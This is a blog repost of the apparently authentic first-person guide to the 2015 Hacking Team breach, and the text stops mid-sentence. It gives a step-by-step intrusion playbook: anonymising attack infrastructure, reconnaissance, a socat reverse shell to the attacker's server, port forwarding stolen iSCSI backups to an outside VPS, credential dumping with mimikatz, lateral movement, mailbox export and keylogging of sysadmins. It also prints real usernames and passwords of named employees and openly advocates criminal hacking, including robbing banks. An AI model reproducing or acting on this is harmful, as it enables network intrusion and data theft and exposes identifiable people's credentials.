Wednesday 20 April 2016

hacking team breach

From
http://pastebin.com/raw/0SNSvyjJ

--[ 1 - Introduction ]----------------------------------------------------------

You'll notice the change in language since the last edition [1]. The
English-speaking world already has tons of books, talks, guides, and
info about hacking. In that world, there's plenty of hackers better than me,
but they misuse their talents working for "defense" contractors, for intelligence
agencies, to protect banks and corporations, and to defend the status quo.
Hacker culture was born in the US as a counterculture, but that origin only
remains in its aesthetics - the rest has been assimilated. At least they can
wear a t-shirt, dye their hair blue, use their hacker names, and feel like
rebels while they work for the Man.

You used to have to sneak into offices to leak documents [2]. You used to need
a gun to rob a bank. Now you can do both from bed with a laptop in hand [3][4].
Like the CNT said after the Gamma Group hack: "Let's take a step forward with
new forms of struggle" [5]. Hacking is a powerful tool, let's learn and fight!

[1] http://pastebin.com/raw.php?i=cRYvK4jb
[2] https://en.wikipedia.org/wiki/Citizens%27_Commission_to_Investigate_the_FBI
[3] http://www.aljazeera.com/news/2015/09/algerian-hacker-hero-hoodlum-150921083914167.html
[4] https://securelist.com/files/2015/02/Carbanak_APT_eng.pdf 
[5] http://madrid.cnt.es/noticia/consideraciones-sobre-el-ataque-informatico-a-gamma-group


--[ 2 - Hacking Team ]----------------------------------------------------------

Hacking Team was a company that helped governments hack and spy on
journalists, activists, political opposition, and other threats to their power
[1][2][3][4][5][6][7][8][9][10][11]. And, occasionally, on actual criminals
and terrorists [12]. Vincenzetti, the CEO, liked to end his emails with the
fascist slogan "boia chi molla". It'd be more correct to say "boia chi vende
RCS". They also claimed to have technology to solve the "problem" posed by Tor
and the darknet [13]. But seeing as I'm still free, I have my doubts about
its effectiveness.

[1] http://www.animalpolitico.com/2015/07/el-gobierno-de-puebla-uso-el-software-de-hacking-team-para-espionaje-politico/
[2] http://www.prensa.com/politica/claves-entender-Hacking-Team-Panama_0_4251324994.html
[3] http://www.24-horas.mx/ecuador-espio-con-hacking-team-a-opositor-carlos-figueroa/
[4] https://citizenlab.org/2012/10/backdoors-are-forever-hacking-team-and-the-targeting-of-dissent/
[5] https://citizenlab.org/2014/02/hacking-team-targeting-ethiopian-journalists/
[6] https://citizenlab.org/2015/03/hacking-team-reloaded-us-based-ethiopian-journalists-targeted-spyware/
[7] http://focusecuador.net/2015/07/08/hacking-team-rodas-paez-tiban-torres-son-espiados-en-ecuador/
[8] http://www.pri.org/stories/2015-07-08/these-ethiopian-journalists-exile-hacking-team-revelations-are-personal
[9] https://theintercept.com/2015/07/07/leaked-documents-confirm-hacking-team-sells-spyware-repressive-countries/
[10] http://www.wired.com/2013/06/spy-tool-sold-to-governments/
[11] http://www.theregister.co.uk/2015/07/13/hacking_team_vietnam_apt/
[12] http://www.ilmessaggero.it/primopiano/cronaca/yara_bossetti_hacking_team-1588888.html
[13] http://motherboard.vice.com/en_ca/read/hacking-team-founder-hey-fbi-we-can-help-you-crack-the-dark-web


--[ 3 - Stay safe out there ]---------------------------------------------------

Unfortunately, our world is backwards. You get rich by doing bad things and go
to jail for doing good. Fortunately, thanks to the hard work of people like
the Tor project [1], you can avoid going to jail by taking a few simple
precautions:

1) Encrypt your hard disk [2]

   I guess when the police arrive to seize your computer, it means you've
   already made a lot of mistakes, but it's better to be safe.

2) Use a virtual machine with all traffic routed through Tor

   This accomplishes two things. First, all your traffic is anonymized through
   Tor. Second, keeping your personal life and your hacking on separate
   computers helps you not to mix them by accident.

   You can use projects like Whonix [3], Tails [4], Qubes TorVM [5], or
   something custom [6]. Here's [7] a detailed comparison.

3) (Optional) Don't connect directly to Tor
   
   Tor isn't a panacea. They can correlate the times you're connected to Tor
   with the times your hacker handle is active. Also, there have been
   successful attacks against Tor [8]. You can connect to Tor using other
   peoples' wifi. Wifislax [9] is a linux distro with a lot of tools for
   cracking wifi. Another option is to connect to a VPN or a bridge node [10]
   before Tor, but that's less secure because they can still correlate the
   hacker's activity with your house's internet activity (this was used as
   evidence against Jeremy Hammond [11]).

   The reality is that while Tor isn't perfect, it works quite well. When I
   was young and reckless, I did plenty of stuff without any protection (I'm
   referring to hacking) apart from Tor, that the police tried their hardest
   to investigate, and I've never had any problems.

[1] https://www.torproject.org/
[2] https://info.securityinabox.org/es/chapter-4
[3] https://www.whonix.org/
[4] https://tails.boum.org/
[5] https://www.qubes-os.org/doc/privacy/torvm/
[6] https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy
[7] https://www.whonix.org/wiki/Comparison_with_Others
[8] https://blog.torproject.org/blog/tor-security-advisory-relay-early-traffic-confirmation-attack/
[9] http://www.wifislax.com/
[10] https://www.torproject.org/docs/bridges.html.en
[11] http://www.documentcloud.org/documents/1342115-timeline-correlation-jeremy-hammond-and-anarchaos.html


----[ 3.1 - Infrastructure ]----------------------------------------------------

I don't hack directly from Tor exit nodes. They're on blacklists, they're
slow, and they can't receive connect-backs. Tor protects my anonymity while I
connect to the infrastructure I use to hack, which consists of:

1) Domain Names

   For C&C addresses, and for DNS tunnels for guaranteed egress.

2) Stable Servers

   For use as C&C servers, to receive connect-back shells, to launch attacks,
   and to store the loot.

3) Hacked Servers

   For use as pivots to hide the IP addresses of the stable servers. And for
   when I want a fast connection without pivoting, for example to scan ports,
   scan the whole internet, download a database with sqli, etc.

Obviously, you have to use an anonymous payment method, like bitcoin (if it's
used carefully).


----[ 3.2 - Attribution ]-------------------------------------------------------

In the news we often see attacks traced back to government-backed hacking
groups ("APTs"), because they repeatedly use the same tools, leave the same
footprints, and even use the same infrastructure (domains, emails, etc).
They're negligent because they can hack without legal consequences.

I didn't want to make the police's work any easier by relating my hack of
Hacking Team with other hacks I've done or with names I use in my day-to-day
work as a blackhat hacker. So, I used new servers and domain names, registered
with new emails, and payed for with new bitcoin addresses. Also, I only used
tools that are publicly available, or things that I wrote specifically for
this attack, and I changed my way of doing some things to not leave my usual
forensic footprint.


--[ 4 - Information Gathering ]-------------------------------------------------

Although it can be tedious, this stage is very important, since the larger the
attack surface, the easier it is to find a hole somewhere in it.


----[ 4.1 - Technical Information ]---------------------------------------------

Some tools and techniques are:

1) Google

   A lot of interesting things can be found with a few well-chosen search
   queries. For example, the identity of DPR [1]. The bible of Google hacking
   is the book "Google Hacking for Penetration Testers". You can find a short
   summary in Spanish at [2].

2) Subdomain Enumeration

   Often, a company's main website is hosted by a third party, and you'll find
   the company's actual IP range thanks to subdomains like mx.company.com or
   ns1.company.com. Also, sometimes there are things that shouldn't be exposed
   in "hidden" subdomains. Useful tools for discovering domains and subdomains
   are fierce [3], theHarvester [4], and recon-ng [5].

3) Whois lookups and reverse lookups

   With a reverse lookup using the whois information from a domain or IP range
   of a company, you can find other domains and IP ranges. As far as I know,
   there's no free way to do reverse lookups aside from a google "hack":
   
   "via della moscova 13" site:www.findip-address.com
   "via della moscova 13" site:domaintools.com

4) Port scanning and fingerprinting

   Unlike the other techniques, this talks to the company's servers. I
   include it in this section because it's not an attack, it's just
   information gathering. The company's IDS might generate an alert, but you
   don't have to worry since the whole internet is being scanned constantly.

   For scanning, nmap [6] is precise, and can fingerprint the majority of
   services discovered. For companies with very large IP ranges, zmap [7] or
   masscan [8] are fast. WhatWeb [9] or BlindElephant [10] can fingerprint web
   sites.

[1] http://www.nytimes.com/2015/12/27/business/dealbook/the-unsung-tax-agent-who-put-a-face-on-the-silk-road.html
[2] http://web.archive.org/web/20140610083726/http://www.soulblack.com.ar/repo/papers/hackeando_con_google.pdf
[3] http://ha.ckers.org/fierce/
[4] https://github.com/laramies/theHarvester
[5] https://bitbucket.org/LaNMaSteR53/recon-ng
[6] https://nmap.org/
[7] https://zmap.io/
[8] https://github.com/robertdavidgraham/masscan
[9] http://www.morningstarsecurity.com/research/whatweb
[10] http://blindelephant.sourceforge.net/


----[ 4.2 - Social Information ]------------------------------------------------

For social engineering, it's useful to have information about the employees,
their roles, contact information, operating system, browser, plugins,
software, etc. Some resources are:

1) Google

   Here as well, it's the most useful tool.

2) theHarvester and recon-ng

   I already mentioned them in the previous section, but they have a lot more
   functionality. They can find a lot of information quickly and
   automatically. It's worth reading all their documentation.

3) LinkedIn

   A lot of information about the employees can be found here. The company's
   recruiters are the most likely to accept your connection requests.

4) Data.com

   Previously known as jigsaw. They have contact information for many
   employees.

5) File Metadata

   A lot of information about employees and their systems can be found in
   metadata of files the company has published. Useful tools for finding
   files on the company's website and extracting the metadata are metagoofil
   [1] and FOCA [2].

[1] https://github.com/laramies/metagoofil
[2] https://www.elevenpaths.com/es/labstools/foca-2/index.html


--[ 5 - Entering the network ]--------------------------------------------------

There are various ways to get a foothold. Since the method I used against
Hacking Team is uncommon and a lot more work than is usually necessary, I'll
talk a little about the two most common ways, which I recommend trying first.


----[ 5.1 - Social Engineering ]------------------------------------------------

Social engineering, specifically spear phishing, is responsible for the
majority of hacks these days. For an introduction in Spanish, see [1]. For
more information in English, see [2] (the third part, "Targeted Attacks"). For
fun stories about the social engineering exploits of past generations, see
[3]. I didn't want to try to spear phish Hacking Team, as their whole business
is helping governments spear phish their opponents, so they'd be much more
likely to recognize and investigate a spear phishing attempt.

[1] http://www.hacknbytes.com/2016/01/apt-pentest-con-empire.html
[2] http://blog.cobaltstrike.com/2015/09/30/advanced-threat-tactics-course-and-notes/
[3] http://www.netcomunity.com/lestertheteacher/doc/ingsocial1.pdf


----[ 5.2 - Buying Access ]-----------------------------------------------------

Thanks to hardworking Russians and their exploit kits, traffic sellers, and
bot herders, many companies already have compromised computers in their
networks. Almost all of the Fortune 500, with their huge networks, have some
bots already inside. However, Hacking Team is a very small company, and most
of it's employees are infosec experts, so there was a low chance that they'd
already been compromised.


----[ 5.3 - Technical Exploitation ]--------------------------------------------

After the Gamma Group hack, I described a process for searching for
vulnerabilities [1]. Hacking Team had one public IP range:
inetnum:        93.62.139.32 - 93.62.139.47
descr:          HT public subnet

Hacking Team had very little exposed to the internet. For example, unlike
Gamma Group, their customer support site needed a client certificate to
connect. What they had was their main website (a Joomla blog in which Joomscan
[2] didn't find anything serious), a mail server, a couple routers, two VPN
appliances, and a spam filtering appliance. So, I had three options: look for
a 0day in Joomla, look for a 0day in postfix, or look for a 0day in one of the
embedded devices. A 0day in an embedded device seemed like the easiest option,
and after two weeks of work reverse engineering, I got a remote root exploit.
Since the vulnerabilities still haven't been patched, I won't give more
details, but for more information on finding these kinds of vulnerabilities,
see [3] and [4].

[1] http://pastebin.com/raw.php?i=cRYvK4jb
[2] http://sourceforge.net/projects/joomscan/
[3] http://www.devttys0.com/
[4] https://docs.google.com/presentation/d/1-mtBSka1ktdh8RHxo2Ft0oNNlIp7WmDA2z9zzHpon8A


--[ 6 - Be Prepared ]-----------------------------------------------------------

I did a lot of work and testing before using the exploit against Hacking Team.
I wrote a backdoored firmware, and compiled various post-exploitation tools
for the embedded device. The backdoor serves to protect the exploit. Using the
exploit just once and then returning through the backdoor makes it harder to
identify and patch the vulnerabilities.

The post-exploitation tools that I'd prepared were:

1) busybox

   For all the standard Unix utilities that the system didn't have.

2) nmap

   To scan and fingerprint Hacking Team's internal network.

3) Responder.py

   The most useful tool for attacking windows networks when you have access to
   the internal network, but no domain user.

4) Python

   To execute Responder.py

5) tcpdump

   For sniffing traffic.

6) dsniff

   For sniffing passwords from plaintext protocols like ftp, and for
   arpspoofing. I wanted to use ettercap, written by Hacking Team's own ALoR
   and NaGA, but it was hard to compile it for the system.

7) socat

   For a comfortable shell with a pty:
   my_server: socat file:`tty`,raw,echo=0 tcp-listen:my_port
   hacked box: socat exec:'bash -li',pty,stderr,setsid,sigint,sane \
    tcp:my_server:my_port

   And useful for a lot more, it's a networking swiss army knife. See the
   examples section of its documentation.

8) screen

   Like the shell with pty, it wasn't really necessary, but I wanted to feel
   at home in Hacking Team's network.

9) a SOCKS proxy server

   To use with proxychains to be able to access their local network from any
   program.

10) tgcd

   For forwarding ports, like for the SOCKS server, through the firewall.

[1] https://www.busybox.net/
[2] https://nmap.org/
[3] https://github.com/SpiderLabs/Responder
[4] https://github.com/bendmorris/static-python
[5] http://www.tcpdump.org/
[6] http://www.monkey.org/~dugsong/dsniff/
[7] http://www.dest-unreach.org/socat/
[8] https://www.gnu.org/software/screen/
[9] http://average-coder.blogspot.com/2011/09/simple-socks5-server-in-c.html
[10] http://tgcd.sourceforge.net/


The worst thing that could happen would be for my backdoor or post-exploitation
tools to make the system unstable and cause an employee to investigate. So I
spent a week testing my exploit, backdoor, and post-exploitation tools in the
networks of other vulnerable companies before entering Hacking Team's network.


--[ 7 - Watch and Listen ]------------------------------------------------------

Now inside their internal network, I wanted to take a look around and think
about my next step. I started Responder.py in analysis mode (-A to listen
without sending poisoned responses), and did a slow scan with nmap.


--[ 8 - NoSQL Databases ]-------------------------------------------------------

NoSQL, or rather NoAuthentication, has been a huge gift to the hacker
community [1]. Just when I was worried that they'd finally patched all of the
authentication bypass bugs in MySQL [2][3][4][5], new databases came into
style that lack authentication by design. Nmap found a few in Hacking Team's
internal network:

27017/tcp open  mongodb       MongoDB 2.6.5
| mongodb-databases:
|   ok = 1
|   totalSizeMb = 47547
|   totalSize = 49856643072
...
|_    version = 2.6.5

27017/tcp open  mongodb       MongoDB 2.6.5
| mongodb-databases:
|   ok = 1
|   totalSizeMb = 31987
|   totalSize = 33540800512
|   databases
...
|_    version = 2.6.5

They were the databases for test instances of RCS. The audio that RCS records
is stored in MongoDB with GridFS. The audio folder in the torrent [6] came
from this. They were spying on themselves without meaning to.

[1] https://www.shodan.io/search?query=product%3Amongodb
[2] https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql
[3] http://archives.neohapsis.com/archives/vulnwatch/2004-q3/0001.html
[4] http://downloads.securityfocus.com/vulnerabilities/exploits/hoagie_mysql.c
[5] http://archives.neohapsis.com/archives/bugtraq/2000-02/0053.html
[6] https://ht.transparencytoolkit.org/audio/


--[ 9 - Crossed Cables ]--------------------------------------------------------

Although it was fun to listen to recordings and see webcam images of Hacking
Team developing their malware, it wasn't very useful. Their insecure backups
were the vulnerability that opened their doors. According to their
documentation [1], their iSCSI devices were supposed to be on a separate
network, but nmap found a few in their subnetwork 192.168.1.200/24:

Nmap scan report for ht-synology.hackingteam.local (192.168.200.66)
...
3260/tcp open  iscsi?
| iscsi-info:
|   Target: iqn.2000-01.com.synology:ht-synology.name
|     Address: 192.168.200.66:3260,0
|_    Authentication: No authentication required

Nmap scan report for synology-backup.hackingteam.local (192.168.200.72)
...
3260/tcp open  iscsi?
| iscsi-info:
|   Target: iqn.2000-01.com.synology:synology-backup.name
|     Address: 10.0.1.72:3260,0
|     Address: 192.168.200.72:3260,0
|_    Authentication: No authentication required

iSCSI needs a kernel module, and it would've been difficult to compile it for
the embedded system. I forwarded the port so that I could mount it from a VPS:

VPS: tgcd -L -p 3260 -q 42838
Embedded system: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838

VPS: iscsiadm -m discovery -t sendtargets -p 127.0.0.1

Now iSCSI finds the name iqn.2000-01.com.synology but has problems mounting it
because it thinks its IP is 192.168.200.72 instead of 127.0.0.1

The way I solved it was:
iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT --to-destination 127.0.0.1

And now, after:
iscsiadm -m node --targetname=iqn.2000-01.com.synology:synology-backup.name -p 192.168.200.72 --login

...the device file appears! We mount it:
vmfs-fuse -o ro /dev/sdb1 /mnt/tmp

and find backups of various virtual machines. The Exchange server seemed like
the most interesting. It was too big too download, but it was possible to
mount it remotely to look for interesting files:
$ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk
$ fdisk -l /dev/loop0
/dev/loop0p1            2048  1258287103   629142528    7  HPFS/NTFS/exFAT

so the offset is 2048 * 512 = 1048576
$ losetup -o 1048576 /dev/loop1 /dev/loop0
$ mount -o ro /dev/loop1 /mnt/exchange/

now in /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311
we find the hard disk of the VM, and mount it:
vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/
mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1

...and finally we've unpacked the Russian doll and can see all the files from
the old Exchange server in /mnt/part1

[1] https://ht.transparencytoolkit.org/FileServer/FileServer/Hackingteam/InfrastrutturaIT/Rete/infrastruttura%20ht.pdf


--[ 10 - From backups to domain admin ]-----------------------------------------

What interested me most in the backup was seeing if it had a password or hash
that could be used to access the live server. I used pwdump, cachedump, and
lsadump [1] on the registry hives. lsadump found the password to the besadmin
service account:

_SC_BlackBerry MDS Connection Service
0000   16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
0010   62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00    b.e.s.3.2.6.7.8.
0020   21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 00    !.!.!...........

I used proxychains [2] with the socks server on the embedded device and
smbclient [3] to check the password:
proxychains smbclient '//192.168.100.51/c$' -U 'hackingteam.local/besadmin%bes32678!!!'

It worked! The password for besadmin was still valid, and a local admin. I
used my proxy and metasploit's psexec_psh [4] to get a meterpreter session.
Then I migrated to a 64 bit process, ran "load kiwi" [5], "creds_wdigest", and
got a bunch of passwords, including the Domain Admin:

HACKINGTEAM  BESAdmin       bes32678!!!
HACKINGTEAM  Administrator  uu8dd8ndd12!
HACKINGTEAM  c.pozzi        P4ssword      <---- lol great sysadmin
HACKINGTEAM  m.romeo        ioLK/(90
HACKINGTEAM  l.guerra       4luc@=.=
HACKINGTEAM  d.martinez     W4tudul3sp
HACKINGTEAM  g.russo        GCBr0s0705!
HACKINGTEAM  a.scarafile    Cd4432996111
HACKINGTEAM  r.viscardi     Ht2015!
HACKINGTEAM  a.mino         A!e$$andra
HACKINGTEAM  m.bettini      Ettore&Bella0314
HACKINGTEAM  m.luppi        Blackou7
HACKINGTEAM  s.gallucci     1S9i8m4o!
HACKINGTEAM  d.milan        set!dob66
HACKINGTEAM  w.furlan       Blu3.B3rry!
HACKINGTEAM  d.romualdi     Rd13136f@#
HACKINGTEAM  l.invernizzi   L0r3nz0123!
HACKINGTEAM  e.ciceri       2O2571&2E
HACKINGTEAM  e.rabe         erab@4HT!

[1] https://github.com/Neohapsis/creddump7
[2] http://proxychains.sourceforge.net/
[3] https://www.samba.org/
[4] http://ns2.elhacker.net/timofonica/manuales/Manual_de_Metasploit_Unleashed.pdf
[5] https://github.com/gentilkiwi/mimikatz


--[ 11 - Downloading the mail ]-------------------------------------------------

With the Domain Admin password, I have access to the email, the heart of the
company. Since with each step I take there's a chance of being detected, I
start downloading their email before continuing to explore. Powershell makes
it easy [1]. Curiously, I found a bug with Powershell's date handling. After
downloading the emails, it took me another couple weeks to get access to the
source code and everything else, so I returned every now and then to download
the new emails. The server was Italian, with dates in the format
day/month/year. I used:
-ContentFilter {(Received -ge '05/06/2015') -or (Sent -ge '05/06/2015')}

with New-MailboxExportRequest to download the new emails (in this case all
mail since June 5). The problem is it says the date is invalid if you
try a day larger than 12 (I imagine because in the US the month comes first
and you can't have a month above 12). It seems like Microsoft's engineers only
test their software with their own locale.

[1] http://www.stevieg.org/2010/07/using-the-exchange-2010-sp1-mailbox-export-features-for-mass-exports-to-pst/


--[ 12 - Downloading Files ]----------------------------------------------------

Now that I'd gotten Domain Admin, I started to download file shares using my
proxy and the -Tc option of smbclient, for example:

proxychains smbclient '//192.168.1.230/FAE DiskStation' \
    -U 'HACKINGTEAM/Administrator%uu8dd8ndd12!' -Tc FAE_DiskStation.tar '*'

I downloaded the Amministrazione, FAE DiskStation, and FileServer folders in
the torrent like that.


--[ 13 - Introduction to hacking windows domains ]------------------------------

Before continuing with the story of the "weones culiaos" (Hacking Team), I
should give some general knowledge for hacking windows networks.


----[ 13.1 - Lateral Movement ]-------------------------------------------------

I'll give a brief review of the different techniques for spreading withing a
windows network. The techniques for remote execution require the password or
hash of a local admin on the target. By far, the most common way of obtaining
those credentials is using mimikatz [1], especially sekurlsa::logonpasswords
and sekurlsa::msv, on the computers where you already have admin access. The
techniques for "in place" movement also require administrative privileges
(except for runas). The most important tools for privilege escalation are
PowerUp [2], and bypassuac [3].

[1] https://adsecurity.org/?page_id=1821
[2] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
[3] https://github.com/PowerShellEmpire/Empire/blob/master/data/module_source/privesc/Invoke-BypassUAC.ps1


Remote Movement:

1) psexec

   The tried and true method for lateral movement on windows. You can use
   psexec [1], winexe [2], metasploit's psexec_psh [3], Powershell Empire's
   invoke_psexec [4], or the builtin windows command "sc" [5]. For the
   metasploit module, powershell empire, and pth-winexe [6], you just need the
   hash, not the password. It's the most universal method (it works on any
   windows computer with port 445 open), but it's also the least stealthy.
   Event type 7045 "Service Control Manager" will appear in the event logs. In
   my experience, no one has ever noticed during a hack, but it helps the
   investigators piece together what the hacker did afterwards.

2) WMI

   The most stealthy method. The WMI service is enabled on all windows
   computers, but except for servers, the firewall blocks it by default. You
   can use wmiexec.py [7], pth-wmis [6] (here's a demonstration of wmiexec and
   pth-wmis [8]), Powershell Empire's invoke_wmi [9], or the windows builtin
   wmic [5]. All except wmic just need the hash.

3) PSRemoting [10]

   It's disabled by default, and I don't recommend enabling new protocols.
   But, if the sysadmin has already enabled it, it's very convenient,
   especially if you use powershell for everything (and you should use
   powershell for almost everything, it will change [11] with powershell 5 and
   windows 10, but for now powershell makes it easy to do everything in RAM,
   avoid AV, and leave a small footprint)

4) Scheduled Tasks

   You can execute remote programs with at and schtasks [5]. It works in the
   same situations where you could use psexec, and it also leaves a well known
   footprint [12].

5) GPO

   If all those protocols are disabled or blocked by the firewall, once you're
   Domain Admin, you can use GPO to give users a login script, install an msi,
   execute a scheduled task [13], or, like we'll see with the computer of
   Mauro Romeo (one of Hacking Team's sysadmins), use GPO to enable WMI and
   open the firewall.

[1] https://technet.microsoft.com/en-us/sysinternals/psexec.aspx
[2] https://sourceforge.net/projects/winexe/
[3] https://www.rapid7.com/db/modules/exploit/windows/smb/psexec_psh
[4] http://www.powershellempire.com/?page_id=523
[5] http://blog.cobaltstrike.com/2014/04/30/lateral-movement-with-high-latency-cc/
[6] https://github.com/byt3bl33d3r/pth-toolkit
[7] https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
[8] https://www.trustedsec.com/june-2015/no_psexec_needed/
[9] http://www.powershellempire.com/?page_id=124
[10] http://www.maquinasvirtuales.eu/ejecucion-remota-con-powershell/
[11] https://adsecurity.org/?p=2277
[12] https://www.secureworks.com/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems
[13] https://github.com/PowerShellEmpire/Empire/blob/master/lib/modules/lateral_movement/new_gpo_immediate_task.py


"In place" Movement:

1) Token Stealing

   Once you have admin access on a computer, you can use the tokens of the
   other users to access resources in the domain. Two tools for doing this are
   incognito [1] and the mimikatz token::* commands [2].

2) MS14-068

   You can take advantage of a validation bug in Kerberos to generate Domain
   Admin tickets [3][4][5].

3) Pass the Hash

   If you have a user's hash, but they're not logged in, you can use
   sekurlsa::pth [2] to get a ticket for the user.

4) Process Injection

   Any RAT can inject itself into other processes. For example, the migrate
   command in meterpreter and pupy [6], or the psinject [7] command in
   powershell empire. You can inject into the process that has the token you
   want.

5) runas

   This is sometimes very useful since it doesn't require admin privileges.
   The command is part of windows, but if you don't have a GUI you can use
   powershell [8].

[1] https://www.indetectables.net/viewtopic.php?p=211165
[2] https://adsecurity.org/?page_id=1821
[3] https://github.com/bidord/pykek
[4] https://adsecurity.org/?p=676
[5] http://www.hackplayers.com/2014/12/CVE-2014-6324-como-validarse-con-cualquier-usuario-como-admin.html
[6] https://github.com/n1nj4sec/pupy
[7] http://www.powershellempire.com/?page_id=273
[8] https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-Runas.ps1


----[ 13.2 - Persistence ]------------------------------------------------------

Once you have access, you want to keep it. Really, persistence is only a
challenge for assholes like Hacking Team who target activists and other
individuals. To hack companies, persistence isn't needed since companies never
sleep. I always use Duqu 2 style "persistence", executing in RAM on a couple
high-uptime servers. On the off chance that they all reboot at the same time,
I have passwords and a golden ticket [1] as backup access. You can read more
about the different techniques for persistence in windows here [2][3][4]. But
for hacking companies, it's not needed and it increases the risk of detection.

[1] http://blog.cobaltstrike.com/2014/05/14/meterpreter-kiwi-extension-golden-ticket-howto/
[2] http://www.harmj0y.net/blog/empire/nothing-lasts-forever-persistence-with-empire/
[3] http://www.hexacorn.com/blog/category/autostart-persistence/
[4] https://blog.netspi.com/tag/persistence/


----[ 13.3 - Internal reconnaissance ]------------------------------------------

The best tool these days for understanding windows networks is Powerview [1].
It's worth reading everything written by it's author [2], especially [3], [4],
[5], and [6]. Powershell itself is also quite powerful [7]. As there are still
many windows 2000 and 2003 servers without powershell, you also have to learn
the old school [8], with programs like netview.exe [9] or the windows builtin
"net view". Other techniques that I like are:

1) Downloading a list of file names

   With a Domain Admin account, you can download a list of all filenames in
   the network with powerview:

   Invoke-ShareFinderThreaded -ExcludedShares IPC$,PRINT$,ADMIN$ |
   select-string '^(.*) \t-' | %{dir -recurse $_.Matches[0].Groups[1] |
   select fullname | out-file -append files.txt}

   Later, you can read it at your leisure and choose which files to download.

2) Reading email

   As we've already seen, you can download email with powershell, and it has a
   lot of useful information.

3) Reading sharepoint

   It's another place where many businesses store a lot of important
   information. It can also be downloaded with powershell [10].

4) Active Directory [11]

   It has a lot of useful information about users and computers. Without being
   Domain Admin, you can already get a lot of info with powerview and other
   tools [12]. After getting Domain Admin, you should export all the AD
   information with csvde or another tool.

5) Spy on the employees

   One of my favorite hobbies is hunting sysadmins. Spying on Christian Pozzi
   (one of Hacking Team's sysadmins) gave me access to a Nagios server which
   gave me access to the rete sviluppo (development network with the source
   code of RCS). With a simple combination of Get-Keystrokes and
   Get-TimedScreenshot from PowerSploit [13], Do-Exfiltration from nishang
   [14], and GPO, you can spy on any employee, or even on the whole domain.

[1] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
[2] http://www.harmj0y.net/blog/tag/powerview/
[3] http://www.harmj0y.net/blog/powershell/veil-powerview-a-usage-guide/
[4] http://www.harmj0y.net/blog/redteaming/powerview-2-0/
[5] http://www.harmj0y.net/blog/penetesting/i-hunt-sysadmins/
[6] http://www.slideshare.net/harmj0y/i-have-the-powerview
[7] https://adsecurity.org/?p=2535
[8] https://www.youtube.com/watch?v=rpwrKhgMd7E
[9] https://github.com/mubix/netview
[10] https://blogs.msdn.microsoft.com/rcormier/2013/03/30/how-to-perform-bulk-downloads-of-files-in-sharepoint/
[11] https://adsecurity.org/?page_id=41
[12] http://www.darkoperator.com/?tag=Active+Directory
[13] https://github.com/PowerShellMafia/PowerSploit
[14] https://github.com/samratashok/nishang


--[ 14 - Hunting Sysadmins ]----------------------------------------------------

Reading their documentation about their infrastructure [1], I saw that I was
still missing access to something important - the "Rete Sviluppo", an isolated
network with the source code for RCS. The sysadmins of a company always have
access to everything, so I searched the computers of Mauro Romeo and Christian
Pozzi to see how they administer the Sviluppo network, and to see if there
were any other interesting systems I should investigate. It was simple to
access their computers, since they were part of the windows domain where I'd
already gotten admin access. Mauro Romeo's computer didn't have any ports
open, so I opened the port for WMI [2] and executed meterpreter [3]. In
addition to keylogging and screen scraping with Get-Keystrokes and
Get-TimeScreenshot, I used many /gather/ modules from metasploit, CredMan.ps1
[4], and searched for interesting files [5]. Upon seeing that Pozzi had a
Truecrypt volume, I waited until he'd mounted it and then copied off the
files. Many have made fun of Christian Pozzi's weak passwords (and of
Christian Pozzi in general, he provides plenty of material [6][7][8][9]). I
included them in the leak as a false clue, and to laugh at him. The reality is
that mimikatz and keyloggers view all passwords equally.

[1] http://hacking.technology/Hacked%20Team/FileServer/FileServer/Hackingteam/InfrastrutturaIT/
[2] http://www.hammer-software.com/wmigphowto.shtml
[3] https://www.trustedsec.com/june-2015/no_psexec_needed/
[4] https://gallery.technet.microsoft.com/scriptcenter/PowerShell-Credentials-d44c3cde
[5] http://pwnwiki.io/#!presence/windows/find_files.md
[6] http://archive.is/TbaPy
[7] http://hacking.technology/Hacked%20Team/c.pozzi/screenshots/
[8] http://hacking.technology/Hacked%20Team/c.pozzi/Desktop/you.txt
[9] http://hacking.technology/Hacked%20Team/c.pozzi/credentials/


--[ 15 - The bridge ]-----------------------------------------------------------

Within Christian Pozzi's Truecrypt volume, there was a textfile with many
passwords [1]. One of those was for a Fully Automated Nagios server, which had
access to the Sviluppo network in order to monitor it. I'd found the bridge I
needed. The textfile just had the password to the web interface, but there was
a public code execution exploit [2] (it's an unauthenticated exploit, but it
requires that at least one user has a session initiated, for which I used the
password from the textfile).

[1] http://hacking.technology/Hacked%20Team/c.pozzi/Truecrypt%20Volume/Login%20HT.txt
[2] http://seclists.org/fulldisclosure/2014/Oct/78


--[ 16 - Reusing and resetting passwords ]--------------------------------------

Reading the emails, I'd seen Daniele Milan granting access to git repos. I
already had his windows password thanks to mimikatz. I tried it on the git
server and it worked. Then I tried sudo and it worked. For the gitlab server
and their twitter account, I used the "forgot my password" function along with
my access to their mail server to reset the passwords.


--[ 17 - Conclusion ]-----------------------------------------------------------

That's all it takes to take down a company and stop their human rights abuses.
That's the beauty and asymmetry of hacking: with 100 hours of work, one person
can undo years of work by a multi-million dollar company. Hacking gives the
underdog a chance to fight and win.

Hacking guides often end with a disclaimer: this information is for
educational purposes only, be an ethical hacker, don't attack systems you
don't have permission to, etc. I'll say the same, but with a more rebellious
conception of "ethical" hacking. Leaking documents, expropriating money from
banks, and working to secure the computers of ordinary people is ethical
hacking. However, most people that call themselves "ethical hackers" just work
to secure those who pay their high consulting fees, who are often those most
deserving to be hacked.

Hacking Team saw themselves as part of a long line of inspired Italian design
[1]. I see Vincenzetti, his company, his cronies in the police, Carabinieri,
and government, as part of a long tradition of Italian fascism. I'd like to
dedicate this guide to the victims of the raid on the Armando Diaz school, and
